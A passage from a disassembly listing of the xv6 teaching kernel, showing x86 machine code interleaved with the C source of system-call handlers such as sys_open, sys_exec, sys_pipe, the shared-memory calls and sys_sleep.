%edi 80104d74: 56 push %esi 80104d75: 53 push %ebx 80104d76: 83 ec 2c sub $0x2c,%esp char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 80104d79: 8d 45 e0 lea -0x20(%ebp),%eax 80104d7c: 89 44 24 04 mov %eax,0x4(%esp) 80104d80: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104d87: e8 24 f8 ff ff call 801045b0 <argstr> 80104d8c: 85 c0 test %eax,%eax 80104d8e: 0f 88 d1 00 00 00 js 80104e65 <sys_open+0xf5> 80104d94: 8d 45 e4 lea -0x1c(%ebp),%eax 80104d97: 89 44 24 04 mov %eax,0x4(%esp) 80104d9b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104da2: e8 79 f7 ff ff call 80104520 <argint> 80104da7: 85 c0 test %eax,%eax 80104da9: 0f 88 b6 00 00 00 js 80104e65 <sys_open+0xf5> return -1; begin_op(); 80104daf: e8 4c dd ff ff call 80102b00 <begin_op> if(omode & O_CREATE){ 80104db4: f6 45 e5 02 testb $0x2,-0x1b(%ebp) 80104db8: 0f 85 82 00 00 00 jne 80104e40 <sys_open+0xd0> if(ip == 0){ end_op(); return -1; } } else { if((ip = namei(path)) == 0){ 80104dbe: 8b 45 e0 mov -0x20(%ebp),%eax 80104dc1: 89 04 24 mov %eax,(%esp) 80104dc4: e8 27 d1 ff ff call 80101ef0 <namei> 80104dc9: 85 c0 test %eax,%eax 80104dcb: 89 c6 mov %eax,%esi 80104dcd: 0f 84 8d 00 00 00 je 80104e60 <sys_open+0xf0> end_op(); return -1; } ilock(ip); 80104dd3: 89 04 24 mov %eax,(%esp) 80104dd6: e8 c5 c8 ff ff call 801016a0 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 80104ddb: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80104de0: 0f 84 92 00 00 00 je 80104e78 <sys_open+0x108> end_op(); return -1; } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 80104de6: e8 65 bf ff ff call 80100d50 <filealloc> 80104deb: 85 c0 test %eax,%eax 80104ded: 89 c3 mov %eax,%ebx 80104def: 0f 84 93 00 00 00 je 80104e88 <sys_open+0x118> 80104df5: e8 86 f8 ff ff call 80104680 <fdalloc> 80104dfa: 85 c0 test %eax,%eax 80104dfc: 89 c7 mov %eax,%edi 80104dfe: 0f 88 94 00 00 00 js 80104e98 <sys_open+0x128> fileclose(f); iunlockput(ip); end_op(); return -1; } iunlock(ip); 80104e04: 89 34 24 mov %esi,(%esp) 80104e07: e8 74 c9 ff ff call 80101780 <iunlock> end_op(); 80104e0c: e8 5f dd ff ff call 80102b70 <end_op> f->type = FD_INODE; 80104e11: c7 03 02 00 00 00 movl $0x2,(%ebx) f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 80104e17: 8b 45 e4 mov -0x1c(%ebp),%eax f->ip = ip; 80104e1a: 89 73 10 mov %esi,0x10(%ebx) f->off = 0; 80104e1d: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) f->readable = !(omode & O_WRONLY); 80104e24: 89 c2 mov %eax,%edx 80104e26: 83 e2 01 and $0x1,%edx 80104e29: 83 f2 01 xor $0x1,%edx f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80104e2c: a8 03 test $0x3,%al f->readable = !(omode & O_WRONLY); 80104e2e: 88 53 08 mov %dl,0x8(%ebx) return fd; 80104e31: 89 f8 mov %edi,%eax f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80104e33: 0f 95 43 09 setne 0x9(%ebx) } 80104e37: 83 c4 2c add $0x2c,%esp 80104e3a: 5b pop %ebx 80104e3b: 5e pop %esi 80104e3c: 5f pop %edi 80104e3d: 5d pop %ebp 80104e3e: c3 ret 80104e3f: 90 nop ip = create(path, T_FILE, 0, 0); 80104e40: 8b 45 e0 mov -0x20(%ebp),%eax 80104e43: 31 c9 xor %ecx,%ecx 80104e45: ba 02 00 00 00 mov $0x2,%edx 80104e4a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104e51: e8 6a f8 ff ff call 801046c0 <create> if(ip == 0){ 80104e56: 85 c0 test %eax,%eax ip = create(path, T_FILE, 0, 0); 80104e58: 89 c6 mov %eax,%esi if(ip == 0){ 80104e5a: 75 8a jne 80104de6 <sys_open+0x76> 80104e5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 80104e60: e8 0b dd ff ff call 80102b70 <end_op> } 80104e65: 83 c4 2c add $0x2c,%esp return -1; 80104e68: b8 ff ff ff ff mov $0xffffffff,%eax } 80104e6d: 5b pop %ebx 80104e6e: 5e pop %esi 80104e6f: 5f pop %edi 80104e70: 5d pop %ebp 80104e71: c3 ret 80104e72: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(ip->type == T_DIR && omode != O_RDONLY){ 80104e78: 8b 45 e4 mov -0x1c(%ebp),%eax 80104e7b: 85 c0 test %eax,%eax 80104e7d: 0f 84 63 ff ff ff je 80104de6 <sys_open+0x76> 80104e83: 90 nop 80104e84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi iunlockput(ip); 80104e88: 89 34 24 mov %esi,(%esp) 80104e8b: e8 70 ca ff ff call 80101900 <iunlockput> 80104e90: eb ce jmp 80104e60 <sys_open+0xf0> 80104e92: 8d b6 00 00 00 00 lea 0x0(%esi),%esi fileclose(f); 80104e98: 89 1c 24 mov %ebx,(%esp) 80104e9b: e8 70 bf ff ff call 80100e10 <fileclose> 80104ea0: eb e6 jmp 80104e88 <sys_open+0x118> 80104ea2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104ea9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104eb0 <sys_mkdir>: int sys_mkdir(void) { 80104eb0: 55 push %ebp 80104eb1: 89 e5 mov %esp,%ebp 80104eb3: 83 ec 28 sub $0x28,%esp char *path; struct inode *ip; begin_op(); 80104eb6: e8 45 dc ff ff call 80102b00 <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 80104ebb: 8d 45 f4 lea -0xc(%ebp),%eax 80104ebe: 89 44 24 04 mov %eax,0x4(%esp) 80104ec2: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104ec9: e8 e2 f6 ff ff call 801045b0 <argstr> 80104ece: 85 c0 test %eax,%eax 80104ed0: 78 2e js 80104f00 <sys_mkdir+0x50> 80104ed2: 8b 45 f4 mov -0xc(%ebp),%eax 80104ed5: 31 c9 xor %ecx,%ecx 80104ed7: ba 01 00 00 00 mov $0x1,%edx 80104edc: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104ee3: e8 d8 f7 ff ff call 801046c0 <create> 80104ee8: 85 c0 test %eax,%eax 80104eea: 74 14 je 80104f00 <sys_mkdir+0x50> end_op(); return -1; } iunlockput(ip); 80104eec: 89 04 24 mov %eax,(%esp) 80104eef: e8 0c ca ff ff call 80101900 <iunlockput> end_op(); 80104ef4: e8 77 dc ff ff call 80102b70 <end_op> return 0; 80104ef9: 31 c0 xor %eax,%eax } 80104efb: c9 leave 80104efc: c3 ret 80104efd: 8d 76 00 lea 0x0(%esi),%esi end_op(); 80104f00: e8 6b dc ff ff call 80102b70 <end_op> return -1; 80104f05: b8 ff ff ff ff mov $0xffffffff,%eax } 80104f0a: c9 leave 80104f0b: c3 ret 80104f0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104f10 <sys_mknod>: int sys_mknod(void) { 80104f10: 55 push %ebp 80104f11: 89 e5 mov %esp,%ebp 80104f13: 83 ec 28 sub $0x28,%esp struct inode *ip; char *path; int major, minor; begin_op(); 80104f16: e8 e5 db ff ff call 80102b00 <begin_op> if((argstr(0, &path)) < 0 || 80104f1b: 8d 45 ec lea -0x14(%ebp),%eax 80104f1e: 89 44 24 04 mov %eax,0x4(%esp) 80104f22: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104f29: e8 82 f6 ff ff call 801045b0 <argstr> 80104f2e: 85 c0 test %eax,%eax 80104f30: 78 5e js 80104f90 <sys_mknod+0x80> argint(1, &major) < 0 || 80104f32: 8d 45 f0 lea -0x10(%ebp),%eax 80104f35: 89 44 24 04 mov %eax,0x4(%esp) 80104f39: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104f40: e8 db f5 ff ff call 80104520 <argint> if((argstr(0, &path)) < 0 || 80104f45: 85 c0 test %eax,%eax 80104f47: 78 47 js 80104f90 <sys_mknod+0x80> argint(2, &minor) < 0 || 80104f49: 8d 45 f4 lea -0xc(%ebp),%eax 80104f4c: 89 44 24 04 mov %eax,0x4(%esp) 80104f50: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80104f57: e8 c4 f5 ff ff call 80104520 <argint> argint(1, &major) < 0 || 80104f5c: 85 c0 test %eax,%eax 80104f5e: 78 30 js 80104f90 <sys_mknod+0x80> (ip = create(path, T_DEV, major, minor)) == 0){ 80104f60: 0f bf 45 f4 movswl -0xc(%ebp),%eax argint(2, &minor) < 0 || 80104f64: ba 03 00 00 00 mov $0x3,%edx (ip = create(path, T_DEV, major, minor)) == 0){ 80104f69: 0f bf 4d f0 movswl -0x10(%ebp),%ecx 80104f6d: 89 04 24 mov %eax,(%esp) argint(2, &minor) < 0 || 80104f70: 8b 45 ec mov -0x14(%ebp),%eax 80104f73: e8 48 f7 ff ff call 801046c0 <create> 80104f78: 85 c0 test %eax,%eax 80104f7a: 74 14 je 80104f90 <sys_mknod+0x80> end_op(); return -1; } iunlockput(ip); 80104f7c: 89 04 24 mov %eax,(%esp) 80104f7f: e8 7c c9 ff ff call 80101900 <iunlockput> end_op(); 80104f84: e8 e7 db ff ff call 80102b70 <end_op> return 0; 80104f89: 31 c0 xor %eax,%eax } 80104f8b: c9 leave 80104f8c: c3 ret 80104f8d: 8d 76 00 lea 0x0(%esi),%esi end_op(); 80104f90: e8 db db ff ff call 80102b70 <end_op> return -1; 80104f95: b8 ff ff ff ff mov $0xffffffff,%eax } 80104f9a: c9 leave 80104f9b: c3 ret 80104f9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104fa0 <sys_chdir>: int sys_chdir(void) { 80104fa0: 55 push %ebp 80104fa1: 89 e5 mov %esp,%ebp 80104fa3: 56 push %esi 80104fa4: 53 push %ebx 80104fa5: 83 ec 20 sub $0x20,%esp char *path; struct inode *ip; struct proc *curproc = myproc(); 80104fa8: e8 e3 e6 ff ff call 80103690 <myproc> 80104fad: 89 c6 mov %eax,%esi begin_op(); 80104faf: e8 4c db ff ff call 80102b00 <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 80104fb4: 8d 45 f4 lea -0xc(%ebp),%eax 80104fb7: 89 44 24 04 mov %eax,0x4(%esp) 80104fbb: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104fc2: e8 e9 f5 ff ff call 801045b0 <argstr> 80104fc7: 85 c0 test %eax,%eax 80104fc9: 78 4a js 80105015 <sys_chdir+0x75> 80104fcb: 8b 45 f4 mov -0xc(%ebp),%eax 80104fce: 89 04 24 mov %eax,(%esp) 80104fd1: e8 1a cf ff ff call 80101ef0 <namei> 80104fd6: 85 c0 test %eax,%eax 80104fd8: 89 c3 mov %eax,%ebx 80104fda: 74 39 je 80105015 <sys_chdir+0x75> end_op(); return -1; } ilock(ip); 80104fdc: 89 04 24 mov %eax,(%esp) 80104fdf: e8 bc c6 ff ff call 801016a0 <ilock> if(ip->type != T_DIR){ 80104fe4: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) iunlockput(ip); 80104fe9: 89 1c 24 mov %ebx,(%esp) if(ip->type != T_DIR){ 80104fec: 75 22 jne 80105010 <sys_chdir+0x70> end_op(); return -1; } iunlock(ip); 80104fee: e8 8d c7 ff ff call 80101780 <iunlock> iput(curproc->cwd); 80104ff3: 8b 46 68 mov 0x68(%esi),%eax 80104ff6: 89 04 24 mov %eax,(%esp) 80104ff9: e8 c2 c7 ff ff call 801017c0 <iput> end_op(); 80104ffe: e8 6d db ff ff call 80102b70 <end_op> curproc->cwd = ip; return 0; 80105003: 31 c0 xor %eax,%eax curproc->cwd = ip; 80105005: 89 5e 68 mov %ebx,0x68(%esi) } 80105008: 83 c4 20 add $0x20,%esp 8010500b: 5b pop %ebx 8010500c: 5e pop %esi 8010500d: 5d pop %ebp 8010500e: c3 ret 8010500f: 90 nop iunlockput(ip); 80105010: e8 eb c8 ff ff call 80101900 <iunlockput> end_op(); 80105015: e8 56 db ff ff call 80102b70 <end_op> } 8010501a: 83 c4 20 add $0x20,%esp return -1; 8010501d: b8 ff ff ff ff mov $0xffffffff,%eax } 80105022: 5b pop %ebx 80105023: 5e pop %esi 80105024: 5d pop %ebp 80105025: c3 ret 80105026: 8d 76 00 lea 0x0(%esi),%esi 80105029: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105030 <sys_exec>: int sys_exec(void) { 80105030: 55 push %ebp 80105031: 89 e5 mov %esp,%ebp 80105033: 57 push %edi 80105034: 56 push %esi 80105035: 53 push %ebx 80105036: 81 ec ac 00 00 00 sub $0xac,%esp char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 8010503c: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax 80105042: 89 44 24 04 mov %eax,0x4(%esp) 80105046: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010504d: e8 5e f5 ff ff call 801045b0 <argstr> 80105052: 85 c0 test %eax,%eax 80105054: 0f 88 84 00 00 00 js 801050de <sys_exec+0xae> 8010505a: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax 80105060: 89 44 24 04 mov %eax,0x4(%esp) 80105064: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8010506b: e8 b0 f4 ff ff call 80104520 <argint> 80105070: 85 c0 test %eax,%eax 80105072: 78 6a js 801050de <sys_exec+0xae> return -1; } memset(argv, 0, sizeof(argv)); 80105074: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax for(i=0;; i++){ 8010507a: 31 db xor %ebx,%ebx memset(argv, 0, sizeof(argv)); 8010507c: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp) 80105083: 00 80105084: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi 8010508a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80105091: 00 80105092: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi 80105098: 89 04 24 mov %eax,(%esp) 8010509b: e8 d0 f1 ff ff call 80104270 <memset> if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) 801050a0: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax 801050a6: 89 7c 24 04 mov %edi,0x4(%esp) 801050aa: 8d 04 98 lea (%eax,%ebx,4),%eax 801050ad: 89 04 24 mov %eax,(%esp) 801050b0: e8 0b f4 ff ff call 801044c0 <fetchint> 801050b5: 85 c0 test %eax,%eax 801050b7: 78 25 js 801050de <sys_exec+0xae> return -1; if(uarg == 0){ 801050b9: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax 801050bf: 85 c0 test %eax,%eax 801050c1: 74 2d je 801050f0 <sys_exec+0xc0> argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 801050c3: 89 74 24 04 mov %esi,0x4(%esp) 801050c7: 89 04 24 mov %eax,(%esp) 801050ca: e8 11 f4 ff ff call 801044e0 <fetchstr> 801050cf: 85 c0 test %eax,%eax 801050d1: 78 0b js 801050de <sys_exec+0xae> for(i=0;; i++){ 801050d3: 83 c3 01 add $0x1,%ebx 801050d6: 83 c6 04 add $0x4,%esi if(i >= NELEM(argv)) 801050d9: 83 fb 20 cmp $0x20,%ebx 801050dc: 75 c2 jne 801050a0 <sys_exec+0x70> return -1; } return exec(path, argv); } 801050de: 81 c4 ac 00 00 00 add $0xac,%esp return -1; 801050e4: b8 ff ff ff ff mov $0xffffffff,%eax } 801050e9: 5b pop %ebx 801050ea: 5e pop %esi 801050eb: 5f pop %edi 801050ec: 5d pop %ebp 801050ed: c3 ret 801050ee: 66 90 xchg %ax,%ax return exec(path, argv); 801050f0: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 801050f6: 89 44 24 04 mov %eax,0x4(%esp) 801050fa: 8b 85 5c ff ff ff mov -0xa4(%ebp),%eax argv[i] = 0; 80105100: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4) 80105107: 00 00 00 00 return exec(path, argv); 8010510b: 89 04 24 mov %eax,(%esp) 8010510e: e8 8d b8 ff ff call 801009a0 <exec> } 80105113: 81 c4 ac 00 00 00 add $0xac,%esp 80105119: 5b pop %ebx 8010511a: 5e pop %esi 8010511b: 5f pop %edi 8010511c: 5d pop %ebp 8010511d: c3 ret 8010511e: 66 90 xchg %ax,%ax 80105120 <sys_pipe>: int sys_pipe(void) { 80105120: 55 push %ebp 80105121: 89 e5 mov %esp,%ebp 80105123: 53 push %ebx 80105124: 83 ec 24 sub $0x24,%esp int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 80105127: 8d 45 ec lea -0x14(%ebp),%eax 8010512a: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp) 80105131: 00 80105132: 89 44 24 04 mov %eax,0x4(%esp) 80105136: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010513d: e8 1e f4 ff ff call 80104560 <argptr> 80105142: 85 c0 test %eax,%eax 80105144: 78 6d js 801051b3 <sys_pipe+0x93> return -1; if(pipealloc(&rf, &wf) < 0) 80105146: 8d 45 f4 lea -0xc(%ebp),%eax 80105149: 89 44 24 04 mov %eax,0x4(%esp) 8010514d: 8d 45 f0 lea -0x10(%ebp),%eax 80105150: 89 04 24 mov %eax,(%esp) 80105153: e8 08 e0 ff ff call 80103160 <pipealloc> 80105158: 85 c0 test %eax,%eax 8010515a: 78 57 js 801051b3 <sys_pipe+0x93> return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 8010515c: 8b 45 f0 mov -0x10(%ebp),%eax 8010515f: e8 1c f5 ff ff call 80104680 <fdalloc> 80105164: 85 c0 test %eax,%eax 80105166: 89 c3 mov %eax,%ebx 80105168: 78 33 js 8010519d <sys_pipe+0x7d> 8010516a: 8b 45 f4 mov -0xc(%ebp),%eax 8010516d: e8 0e f5 ff ff call 80104680 <fdalloc> 80105172: 85 c0 test %eax,%eax 80105174: 78 1a js 80105190 <sys_pipe+0x70> myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; } fd[0] = fd0; 80105176: 8b 55 ec mov -0x14(%ebp),%edx 80105179: 89 1a mov %ebx,(%edx) fd[1] = fd1; 8010517b: 8b 55 ec mov -0x14(%ebp),%edx 8010517e: 89 42 04 mov %eax,0x4(%edx) return 0; } 80105181: 83 c4 24 add $0x24,%esp return 0; 80105184: 31 c0 xor %eax,%eax } 80105186: 5b pop %ebx 80105187: 5d pop %ebp 80105188: c3 ret 80105189: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi myproc()->ofile[fd0] = 0; 80105190: e8 fb e4 ff ff call 80103690 <myproc> 80105195: c7 44 98 28 00 00 00 movl $0x0,0x28(%eax,%ebx,4) 8010519c: 00 fileclose(rf); 8010519d: 8b 45 f0 mov -0x10(%ebp),%eax 801051a0: 89 04 24 mov %eax,(%esp) 801051a3: e8 68 bc ff ff call 80100e10 <fileclose> fileclose(wf); 801051a8: 8b 45 f4 mov -0xc(%ebp),%eax 801051ab: 89 04 24 mov %eax,(%esp) 801051ae: e8 5d bc ff ff call 80100e10 <fileclose> } 801051b3: 83 c4 24 add $0x24,%esp return -1; 801051b6: b8 ff ff ff ff mov $0xffffffff,%eax } 801051bb: 5b pop %ebx 801051bc: 5d pop %ebp 801051bd: c3 ret 801051be: 66 90 xchg %ax,%ax 801051c0 <sys_shm_open>: #include "param.h" #include "memlayout.h" #include "mmu.h" #include "proc.h" int sys_shm_open(void) { 801051c0: 55 push %ebp 801051c1: 89 e5 mov %esp,%ebp 801051c3: 83 ec 28 sub $0x28,%esp int id; char **pointer; if(argint(0, &id) < 0) 801051c6: 8d 45 f0 lea -0x10(%ebp),%eax 801051c9: 89 44 24 04 mov %eax,0x4(%esp) 801051cd: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801051d4: e8 47 f3 ff ff call 80104520 <argint> 801051d9: 85 c0 test %eax,%eax 801051db: 78 33 js 80105210 <sys_shm_open+0x50> return -1; if(argptr(1, (char **) (&pointer),4)<0) 801051dd: 8d 45 f4 lea -0xc(%ebp),%eax 801051e0: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 801051e7: 00 801051e8: 89 44 24 04 mov %eax,0x4(%esp) 801051ec: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801051f3: e8 68 f3 ff ff call 80104560 <argptr> 801051f8: 85 c0 test %eax,%eax 801051fa: 78 14 js 80105210 <sys_shm_open+0x50> return -1; return shm_open(id, pointer); 801051fc: 8b 45 f4 mov -0xc(%ebp),%eax 801051ff: 89 44 24 04 mov %eax,0x4(%esp) 80105203: 8b 45 f0 mov -0x10(%ebp),%eax 80105206: 89 04 24 mov %eax,(%esp) 80105209: e8 f2 1b 00 00 call 80106e00 <shm_open> } 8010520e: c9 leave 8010520f: c3 ret return -1; 80105210: b8 ff ff ff ff mov $0xffffffff,%eax } 80105215: c9 leave 80105216: c3 ret 80105217: 89 f6 mov %esi,%esi 80105219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105220 <sys_shm_close>: int sys_shm_close(void) { 80105220: 55 push %ebp 80105221: 89 e5 mov %esp,%ebp 80105223: 83 ec 28 sub $0x28,%esp int id; if(argint(0, &id) < 0) 80105226: 8d 45 f4 lea -0xc(%ebp),%eax 80105229: 89 44 24 04 mov %eax,0x4(%esp) 8010522d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105234: e8 e7 f2 ff ff call 80104520 <argint> 80105239: 85 c0 test %eax,%eax 8010523b: 78 13 js 80105250 <sys_shm_close+0x30> return -1; return shm_close(id); 8010523d: 8b 45 f4 mov -0xc(%ebp),%eax 80105240: 89 04 24 mov %eax,(%esp) 80105243: e8 c8 1b 00 00 call 80106e10 <shm_close> } 80105248: c9 leave 80105249: c3 ret 8010524a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80105250: b8 ff ff ff ff mov $0xffffffff,%eax } 80105255: c9 leave 80105256: c3 ret 80105257: 89 f6 mov %esi,%esi 80105259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105260 <sys_fork>: int sys_fork(void) { 80105260: 55 push %ebp 80105261: 89 e5 mov %esp,%ebp return fork(); } 80105263: 5d pop %ebp return fork(); 80105264: e9 d7 e5 ff ff jmp 80103840 <fork> 80105269: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105270 <sys_exit>: int sys_exit(void) { 80105270: 55 push %ebp 80105271: 89 e5 mov %esp,%ebp 80105273: 83 ec 08 sub $0x8,%esp exit(); 80105276: e8 15 e8 ff ff call 80103a90 <exit> return 0; // not reached } 8010527b: 31 c0 xor %eax,%eax 8010527d: c9 leave 8010527e: c3 ret 8010527f: 90 nop 80105280 <sys_wait>: int sys_wait(void) { 80105280: 55 push %ebp 80105281: 89 e5 mov %esp,%ebp return wait(); } 80105283: 5d pop %ebp return wait(); 80105284: e9 17 ea ff ff jmp 80103ca0 <wait> 80105289: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105290 <sys_kill>: int sys_kill(void) { 80105290: 55 push %ebp 80105291: 89 e5 mov %esp,%ebp 80105293: 83 ec 28 sub $0x28,%esp int pid; if(argint(0, &pid) < 0) 80105296: 8d 45 f4 lea -0xc(%ebp),%eax 80105299: 89 44 24 04 mov %eax,0x4(%esp) 8010529d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801052a4: e8 77 f2 ff ff call 80104520 <argint> 801052a9: 85 c0 test %eax,%eax 801052ab: 78 13 js 801052c0 <sys_kill+0x30> return -1; return kill(pid); 801052ad: 8b 45 f4 mov -0xc(%ebp),%eax 801052b0: 89 04 24 mov %eax,(%esp) 801052b3: e8 28 eb ff ff call 80103de0 <kill> } 801052b8: c9 leave 801052b9: c3 ret 801052ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 801052c0: b8 ff ff ff ff mov $0xffffffff,%eax } 801052c5: c9 leave 801052c6: c3 ret 801052c7: 89 f6 mov %esi,%esi 801052c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801052d0 <sys_getpid>: int sys_getpid(void) { 801052d0: 55 push %ebp 801052d1: 89 e5 mov %esp,%ebp 801052d3: 83 ec 08 sub $0x8,%esp return myproc()->pid; 801052d6: e8 b5 e3 ff ff call 80103690 <myproc> 801052db: 8b 40 10 mov 0x10(%eax),%eax } 801052de: c9 leave 801052df: c3 ret 801052e0 <sys_sbrk>: int sys_sbrk(void) { 801052e0: 55 push %ebp 801052e1: 89 e5 mov %esp,%ebp 801052e3: 53 push %ebx 801052e4: 83 ec 24 sub $0x24,%esp int addr; int n; if(argint(0, &n) < 0) 801052e7: 8d 45 f4 lea -0xc(%ebp),%eax 801052ea: 89 44 24 04 mov %eax,0x4(%esp) 801052ee: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801052f5: e8 26 f2 ff ff call 80104520 <argint> 801052fa: 85 c0 test %eax,%eax 801052fc: 78 22 js 80105320 <sys_sbrk+0x40> return -1; addr = myproc()->sz; 801052fe: e8 8d e3 ff ff call 80103690 <myproc> if(growproc(n) < 0) 80105303: 8b 55 f4 mov -0xc(%ebp),%edx addr = myproc()->sz; 80105306: 8b 18 mov (%eax),%ebx if(growproc(n) < 0) 80105308: 89 14 24 mov %edx,(%esp) 8010530b: e8 c0 e4 ff ff call 801037d0 <growproc> 80105310: 85 c0 test %eax,%eax 80105312: 78 0c js 80105320 <sys_sbrk+0x40> return -1; return addr; 80105314: 89 d8 mov %ebx,%eax } 80105316: 83 c4 24 add $0x24,%esp 80105319: 5b pop %ebx 8010531a: 5d pop %ebp 8010531b: c3 ret 8010531c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80105320: b8 ff ff ff ff mov $0xffffffff,%eax 80105325: eb ef jmp 80105316 <sys_sbrk+0x36> 80105327: 89 f6 mov %esi,%esi 80105329: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105330 <sys_sleep>: int sys_sleep(void) { 80105330: 55 push %ebp 80105331: 89 e5 mov %esp,%ebp 80105333: 53 push %ebx 80105334: 83 ec 24 sub $0x24,%esp int n; uint ticks0; if(argint(0, &n) < 0) 80105337: 8d 45 f4 lea -0xc(%ebp),%eax 8010533a: 89 44 24 04 mov %eax,0x4(%esp) 8010533e: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105345: e8 d6 f1 ff ff call 80104520 <argint> 8010534a: 85 c0 test %eax,%eax 8010534c: 78 7e js 801053cc <sys_sleep+0x9c> return -1; acquire(&tickslock); 8010534e: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 80105355: e8 d6 ed ff ff call 80104130 <acquire> ticks0 = ticks; while(ticks - ticks0 < n){ 8010535a: 8b 55 f4 mov -0xc(%ebp),%edx ticks0 = ticks; 8010535d: 8b 1d a0 55 11 80 mov 0x801155a0,%ebx while(ticks - ticks0 < n){ 80105363: 85 d2 test %edx,%edx 80105365: 75 29 jne 80105390 <sys_sleep+0x60> 80105367: eb 4f jmp 801053b8 <sys_sleep+0x88> 80105369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed){ release(&tickslock); return -1; } sleep(&ticks, &tickslock); 80105370: c7 44 24 04 60 4d 11 movl $0x80114d60,0x4(%esp) 80105377: 80 80105378: c7 04 24 a0 55 11 80 movl $0x801155a0,(%esp) 8010537f: e8 6c e8 ff ff call 80103bf0 <sleep> while(ticks - ticks0 < n){ 80105384: a1 a0 55 11 80 mov 0x801155a0,%eax 80105389: 29 d8 sub %ebx,%eax 8010538b: 3b 45 f4 cmp -0xc(%ebp),%eax 8010538e: 73 28 jae 801053b8 <sys_sleep+0x88> if(myproc()->killed){ 80105390: e8 fb e2 ff ff call 80103690 <myproc> 80105395: 8b 40 24 mov 0x24(%eax),%eax 80105398: 85 c0 test %eax,%eax 8010539a: 74 d4 je 80105370 <sys_sleep+0x40> release(&tickslock); 8010539c: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 801053a3: e8 78 ee ff ff call 80104220 <release> return -1; 801053a8: b8 ff ff ff ff mov $0xffffffff,%eax } release(&tickslock); return 0; } 801053ad: 83 c4 24 add $0x24,%esp 801053b0: 5b pop %ebx 801053b1: 5d pop %ebp 801053b2: c3 ret 801053b3: 90 nop 801053b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&tickslock); 801053b8: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 801053bf: e8 5c ee ff ff call 80104220 <release> } 801053c4: 83 c4 24 add $0x24,%esp return 0; 801053c7: 31 c0 xor %eax,%eax } 801053c9: 5b pop %ebx 801053ca: 5d pop %ebp 801053cb: c3 ret return -1; 801053cc: b8 ff ff ff ff mov $0xffffffff,%eax 801053d1: eb da jmp 801053ad <sys_sleep+0x7d> 801053d3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801053d9: 8d bc 27 00 00 00 00 lea 